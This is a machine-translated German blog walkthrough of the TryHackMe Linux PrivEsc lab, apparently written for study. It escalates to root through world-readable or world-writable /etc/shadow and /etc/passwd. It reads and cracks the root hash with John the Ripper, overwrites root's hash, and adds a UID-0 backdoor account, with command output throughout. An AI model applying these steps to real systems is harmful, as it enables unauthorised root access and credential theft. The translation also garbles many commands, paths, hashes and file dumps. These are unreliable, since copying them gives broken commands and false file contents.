[Tryhackme] Verbesserung der Privilegien durch gefährdete Dateiberechtigungen unter Linux! Linux Privesc -Schreibabteilung Teil 2 (Linux -Privileg eskalation)

[Tryhackme] Verbesserung der Privilegien durch gefährdete Dateiberechtigungen unter Linux! Linux Privesc -Schreibabteilung Teil 2 (Linux -Privileg eskalation)

Dieses Mal werden wir "Erhöhung der Berechtigungen unter Verwendung gefährdeter Dateiberechtigungen unter Linux" versuchen.
Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "

Dieser Artikel befindet sich in Teil 2.
Wenn Sie die Schreiben für Linux Privesc mit TryHackMe überprüfen möchten, überprüfen Sie bitte auch Berechtigungsentwicklung mithilfe von MySQL User Defined Function (UDF)

Bitte beachten Sie, dass die Erklärung Spoiler sind.

Empfohlene Nachschlagewerke
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Autor: Ipusiron
¥3,850 (Ab 21:11 am 07.08.2025 | Amazon Research)
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, überwacht von: Mantani Nobutaka, Übersetzung: Arai Yu, Übersetzung: Kakara Hirosei, Übersetzung: Murakami Ryo
¥3,520 (Ab 12:26 am 07.09.2025 | Amazon Research)
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Inhaltsverzeichnis

Stellen Sie die schutzbedürftige Debian VM ein

Versuchen Sie zunächst, den Zielgerät mit Tryhackme zu starten und zu dem Punkt zu überprüfen, an dem Sie über SSH eine Verbindung herstellen können.

Starten Sie die Zielmaschine

Wählen Sie "Startmaschine" aus, um zu starten.

Wenn "IP -Adresse" angezeigt wird, hat der Zielgerät das Booten abgeschlossen.

Melden Sie sich bei SSH bei Ihrem Benutzerkonto an

Stellen Sie über SSH an die Zielmaschine an.
Bitte beachten Sie, dass für Kali "-Ohostkeyalgorithmen =+ssh-rsa" erforderlich sein kann.

# ssh user@10.10.77.90 -OHostKeyAlgorithms =+SSH -RSA Die Authentizität von Host '10 .10.77.90 (10.10.77.90) kann nicht festgelegt werden. RSA Key Fingerabdruck ist SHA256: JWWPVFQC+8LPQDA0B9WFLZZXCXCXCOAHO6S8WYGJKTANK. Dieser Schlüssel ist in keinen anderen Namen bekannt. Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.77.90 '(RSA) in die Liste der bekannten Hosts. user@10.10.77.90's Passwort: Erlaubnis abgelehnt, versuchen Sie es erneut. user@10.10.77.90's Passwort: Linux Debian 2.6.32-5-amd64 #1 SMP-TUE 13. Mai 16:34:35 UTC 2014 x86_64 Die mit dem Debian GNU/Linux-System enthaltenen Programme sind kostenlose Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzter Login: Fr 15. Mai 06:41:23 2020 von 192.168.1.125

Schwache Dateiberechtigungen

Versuchen Sie nach der Bereitschaft die gefährdeten Dateiberechtigungen, um die Berechtigungen zu eskalieren, um sie zu rooten.
Diesmal sind zwei Dateien enthalten. Beide verlangen, dass Sie Ihre Kontoinformationen manipulieren (Passwort -Hash -Wert).

  • /etc/Shadow
  • /etc/passwd

Lesbar /etc /Shadow (lesbar /etc /Shadow)

"/etc/Shadow" enthält das Kennwort des Benutzers als Hash -Wert.
Normalerweise kann nur Root gelesen werden, aber wenn es in Dateiberechtigungen eine Verwundbarkeit gibt und lesbar ist, können Sie das Kennwort erhalten.

Schauen wir uns zunächst die Zugriffsberechtigungen für "/etc/Shadow" an.
Sie können sehen, dass jeder es lesen kann.

Benutzer@debian: ~ $ ls -l /etc /Shadow -rw-r- rw- 1 root Shadow 837 Aug 25 2019 /etc /shadow

Wir werden den Inhalt des Schattens überprüfen.
Der erste ist der Benutzername und der zweite ist der Hash -Wert für das Passwort. Diesmal werde ich das knacken und das Passwort erhalten.

  • [Benutzername]: [password_hash]:…
user@debian:~$ cat /etc/shadow root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7::: Daemon:*: 17298: 0: 999999: 7 ::: Bin:*: 17298: 0: 99999: 7 ::: sys:*: 17298: 0: 99999: 7: lp:*:17298:0:99999:7::: news:*:17298:0:99999:7::: uucp:*:17298:0:99999:7::: proxy:*:17298:0:99999:7::: www-data:*:17298:0:99999:7:::: BACKUP:*: 17298: 0: 999999: 7 ::: LISTE:*: 17298: 0: 99999: 7 :::: IRC:*: 17298: 0: 99999: 7: 7 ::: Gnats:*: 17298: 0: 99999: 7: libuuid :!: 17298: 0: 99999: 7 ::: debian-exim :!: 17298: 0: 99999: 7 ::: Sshd:*: 17298: 0: 99999: 7 ::: Benutzer: $ 6 $ M1TQJKEB $ M1A/ARH4JEYF1ZBJPLQ.TZQR1LOCULZ0WIZSOY6ADOZRFRYIRKDW5IJY32FBGJWYPT2O1ZR2XTROV7WIKF8. Statd:*: 17299: 0: 99999: 7 ::: Mysql :!: 18133: 0: 99999: 7 :::

Um das Stammkennwort zu erhalten, speichern Sie den Hash -Wert des Stammkennworts in Hash.txt.
Von hier an werden wir auf der Kali -Seite arbeiten (Angriffsmaschine).

# mkdir tryhackme # cd tryhackme # vi Hash.txt # cat Hash.txt $ 6 $ TB/EUWMK $ oxa.dwmeoacopwbl68botg5Zi65WiHSC84OWAY5VitlltVRDJxet..it8r.jbgll.jbgll

Sobald Sie dies getan haben, knacken Sie den zuvor erwähnten Hash.txt mit John the Ripper.
Wenn Sie die Ergebnisse überprüfen, sehen Sie, dass das Passwort "Passwort123" ist.

# John-Wortlist =/usr/share/wordlists/rockyou.txt hash.txt erstellt Verzeichnis: /root/.john mit Standardeingangscodierung: UTF-8 Loaded 1 Passwort Hash (SHA512Crypt, Crypt (3) $ 6 $ [SHA512 256/256 avx2 4x). Threads drücken 'Q' oder Strg-c, um abzubrechen, fast eine andere Taste für Status Passwort123 (?) 1G 0: 00: 00: 00 DEM (2023-03-06 14:36) 1.428G/s 2194p/s 2194C/S 2194C/S-Cuties. 

Sobald Sie das Passwort kennen, müssen Sie lediglich Root -Berechtigungen mit "Su root" abrufen.

user@debian: ~ $ su root password: root@debian:/home/user# 

Ich konnte meine Privilegien erfolgreich auf Wurzeln eskalieren!

Ich denke, ich kann Ihre Tryhackme -Fragen mit den vorherigen Fragen beantworten.

Beschreibbar /etc /Shadow (schriftlich /etc /Shadow)

Wenn "/etc/Shadow" beschreibbar ist, können Sie die Berechtigungen mit dem Wurzeln mit dem Hash -Wert des Kennworts umschreiben.
Das ist genau das Gegenteil von dem, was ich dachte.

Überprüfen Sie zunächst die Berechtigungen für "/etc/Shadow". Es sieht so aus, als hätten Sie die Erlaubnis.

$ ls -l /etc /shadow -rw-r-rw- 1 root Shadow 837 Aug 25 2019 /etc /Shadow

Lassen Sie uns nun einen Hash des Kennworts mit MKPasswd erstellen.
Setzen Sie für [NewPassword] das Kennwort, das Sie als Root verwenden möchten.

$ mkpasswd -m sha -512 newpassword $ 6 $ .ep9gjdsi0v $ lhlxnvvmpg06kvymtpufpo9quogg/jvi9yo // Izayw4xuqmbkx4xzxyGGGTO8.xc1x0dbsSchf.d0281

Sobald der Hash generiert ist, schreiben Sie den Hash des Stammkennworts in "/etc/Shadow" mit dem von Ihnen gerade generierten Hash neu.

$ cat/etc/Shadow Root: $ 6 $ .ep9gjdsi0v $ lhlxnvvmpg06kvymtpufpo9quogg/jvi9yo // Izayw4xuqmbkx4xzxym5AgggTo8.xc1x0dbsscukhf.d0281: 17298: 0: 999999999999999999999999: 7: 7: 7: 7: 0281: 17298: 0: 999999: 7: 7: 7: 0281: 17298: 0: 999999: 7: 7: 7: 7: 7: 7: 0281: 17298: 0: 9un. Daemon:*: 17298: 0: 999999: 7 ::: Bin:*: 17298: 0: 99999: 7 ::: sys:*: 17298: 0: 99999: 7: lp:*:17298:0:99999:7::: news:*:17298:0:99999:7::: uucp:*:17298:0:99999:7::: proxy:*:17298:0:99999:7::: www-data:*:17298:0:99999:7:::: BACKUP:*: 17298: 0: 999999: 7 ::: LISTE:*: 17298: 0: 99999: 7 :::: IRC:*: 17298: 0: 99999: 7: 7 ::: Gnats:*: 17298: 0: 99999: 7: libuuid :!: 17298: 0: 99999: 7 ::: debian-exim :!: 17298: 0: 99999: 7 ::: Sshd:*: 17298: 0: 99999: 7 ::: Benutzer: $ 6 $ M1TQJKEB $ M1A/ARH4JEYF1ZBJPLQ.TZQR1LOCULZ0WIZSOY6ADOZRFRYIRKDW5IJY32FBGJWYPT2O1ZR2XTROV7WIKF8. Statd:*: 17299: 0: 99999: 7 ::: Mysql :!: 18133: 0: 99999: 7 :::

Ich glaube, ich konnte meine Privilegien jetzt zur Wurzel eskalieren.

user@debian: ~ $ su root password: root@debian:/home/user# 

Beschreibbar /etc /passwd (schriftlich /etc /passwd)

"/etc/passwd" enthält Informationen zu Ihrem Benutzerkonto.
Jeder kann es lesen, aber kein anderer als root kann es schreiben.
Einige Linux können es Benutzern ermöglichen, Kennworthashing einzuschließen.

Wenn die anderen Privilegien als Root schreiben dürfen, ist es möglich, die Sicherheitsanfälligkeit auszunutzen, um die Privilegien zur Wurzel zu eskalieren.

Schauen wir uns zunächst die Autorität an. Anscheinend haben Sie die Erlaubnis geschrieben.
Dies scheint, als ob Sie angreifen können.

Benutzer@debian: ~ $ ls -l /etc /passwd -rw-r- rw- 1 root root 1009 Aug 25 2019 /etc /passwd

Nur um sicher zu sein, ich werde den aktuellen Status der Passwd überprüfen. Das Root ist auf "x" gesetzt.
Sobald Sie den Hash generiert haben, ersetzen Sie ihn durch einen Hash.

Benutzer@debian: ~ $ cat/etc/passwd root: x: 0: 0: root:/root:/bin/bash daemon: x: 1: 1: dämon:/usr/sbin:/bin/sh bin: x: 2: 2: 2: bin:/bin:/bin:/bin: bin: sh/bin: sh/bin:/sh/sh/sh/sh/sh/sh/sh/sh/sh. Spiele: x: 5: 60: Spiele:/usr/games:/bin/sh Mann: x: 6: 12: Mann:/var/cache/mann:/bin/sh lp: x: 7: 7: lp:/var/spool/lpd:/bin/sh Mail: x: 8: 8: mail:/mail:/mail:/bin News: x: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9: 9:/New uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh Liste: x: 38: 38: Mailing-List Manager:/var/list:/bin/sh irc: x: 39: 39: iRCD:/var/run/iRCD:/bin/sh gnats: x: 41: 41: 41: gnats bug-berichtungssystem (admin):/var/lib/gnats:/bin nobel: x: x: x: x: x: x: x: x: x: x: x: x: x: 65534: 65534: nic libuuid: x: 100: 101 ::/var/libuuid:/bin/sh debian-exim: x: 101: 103 ::/var/spool/exim4:/bin/false sshd: x: 102: 65534 ::/var/run/sshd:/usr/sbin/nologt Benutzer: x: 1000: 1000: Benutzer ,,,:/home/user:/bin/bash statd: x: 103: 65534 ::/var/lib/nfs:/bin/false MySQL: x: 104: 106: MySQL Server ,,,,/var/lib/mySql:/bin/fehler

Der Hash wird mit dem folgenden Befehl generiert:
Dieses Mal werden wir "NewPassword2" als neues Passwort verwenden.

Benutzer@debian: ~ $ openSSL PassWD NewPassword2 WARNUNG: Kennwort auf 8 Zeichen 6B3UD4HKGOXVE abschneiden

Sobald Sie einen Hash generiert haben, ersetzen Sie den Hash -Wert durch den Ort, an dem sich "X" zuvor befand.

user@debian:~$ vi /etc/passwd user@debian:~$ cat /etc/passwd root:6b3ud4hkgOxvE:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh News: X: 9: 9: News:/var/spool/news:/bin/sh uucp: x: 10: 10: uucp:/var/spool/uucp:/bin/sh proxy: x: 13: 13: proxy:/bin:/bin/sh www-data: 33: 33: www-data:/www:/bin/bin/bin/shw:/ww:/bin/bin backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh Niemand: x: 65534: 65534: Niemand:/nicht existent:/bin/sh libuuid: x: 100: 101 ::/var/lib/libuuid:/bin/sh debian-exim: x: 101: 103 ::/var/spool/exim4:/bin/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:user,,,:/home/user:/bin/bash statd:x:103:65534::/var/lib/nfs:/bin/false mysql:x:104:106:MySQL Server ,,,,:/var/lib/mysql:/bin/false

Sobald Sie so weit gekommen sind, versuchen Sie, sich bei der Wurzel anzumelden.
Ich glaube, ich konnte meine Privilegien erfolgreich auf Wurzeln eskalieren.

user@debian: ~ $ su root password: newpassword2

Wenn es so weitergeht, wird es nicht funktionieren, also werde ich eine neue Wurzel erstellen.
Kopieren Sie die Root -Einstellungen überall und fügen Sie sie in die neue Zeile hinzu und lassen Sie das Stamm zurück zu "x".

root@debian:/home/user# vi /etc/passwd root@debian:/home/user# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh News: X: 9: 9: News:/var/spool/news:/bin/sh uucp: x: 10: 10: uucp:/var/spool/uucp:/bin/sh proxy: x: 13: 13: proxy:/bin:/bin/sh www-data: 33: 33: www-data:/www:/bin/bin/bin/shw:/ww:/bin/bin backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh Niemand: x: 65534: 65534: Niemand:/nicht existent:/bin/sh libuuid: x: 100: 101 ::/var/lib/libuuid:/bin/sh debian-exim: x: 101: 103 ::/var/spool/exim4:/bin/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:user,,,:/home/user:/bin/bash statd:x:103:65534::/var/lib/nfs:/bin/false mysql:x:104:106:MySQL Server ,,,:/var/lib/mysql:/bin/false Newroot: 6B3UD4HKGOXVE: 0: 0: root:/root:/bin/bash root@debian:/home/user#

Melden Sie sich in diesem Zustand in Newroot an.
Ich denke, Sie können Ihre Privilegien eskalieren, um mit einem neuen Passwort zu rooten.
Auch wenn Sie die ID überprüfen, werden Sie root sein.

user@debian: ~ $ su Newroot Passwort: newPassword2 root@debian:/home/user# id uid = 0 (root) gid = 0 (root) gruppen = 0 (root)

Melden Sie sich ab und versuchen Sie, sich bei Root anzumelden.
Ich denke, Sie können sich mit "NewPassword" anmelden. Sie konnten eine neue Anmeldemethode festlegen und gleichzeitig Ihr ursprüngliches Passwort beibehalten.

root@debian:/home/user# beenden user use@debian: ~ $ su root password: newpassword root@debian:/home/user# 

Für Ihre Tryhackme -Frage fügen Sie bitte die Ergebnisse des obigen ID -Befehls ein.

Zusammenfassung

Dieses Mal habe ich "eine Erhöhung der Berechtigungen unter Verwendung gefährdeter Dateiberechtigungen unter Linux" ausprobiert.
Grundsätzlich sollte es standardmäßig keine gefährdeten Dateiberechtigungen haben, aber ich wurde erneut festgestellt, dass wir darauf achten müssen, diese Art von Situation nicht zu verursachen.

Referenzen und Websites

-:-

Teilen Sie, wenn Sie möchten!

Wer hat diesen Artikel geschrieben

Dies ist ein Blog, in dem ich angefangen habe, Informationssicherheit zu studieren. Als neuer Angestellter würde ich mich freuen, wenn Sie mit einem breiten Herzen schauen könnten.
Es gibt auch Teech Lab, das eine Gelegenheit ist, Programmierspaß zu studieren. Wenn Sie also an der Softwareentwicklung interessiert sind, sollten Sie sich unbedingt ansehen!

Inhaltsverzeichnis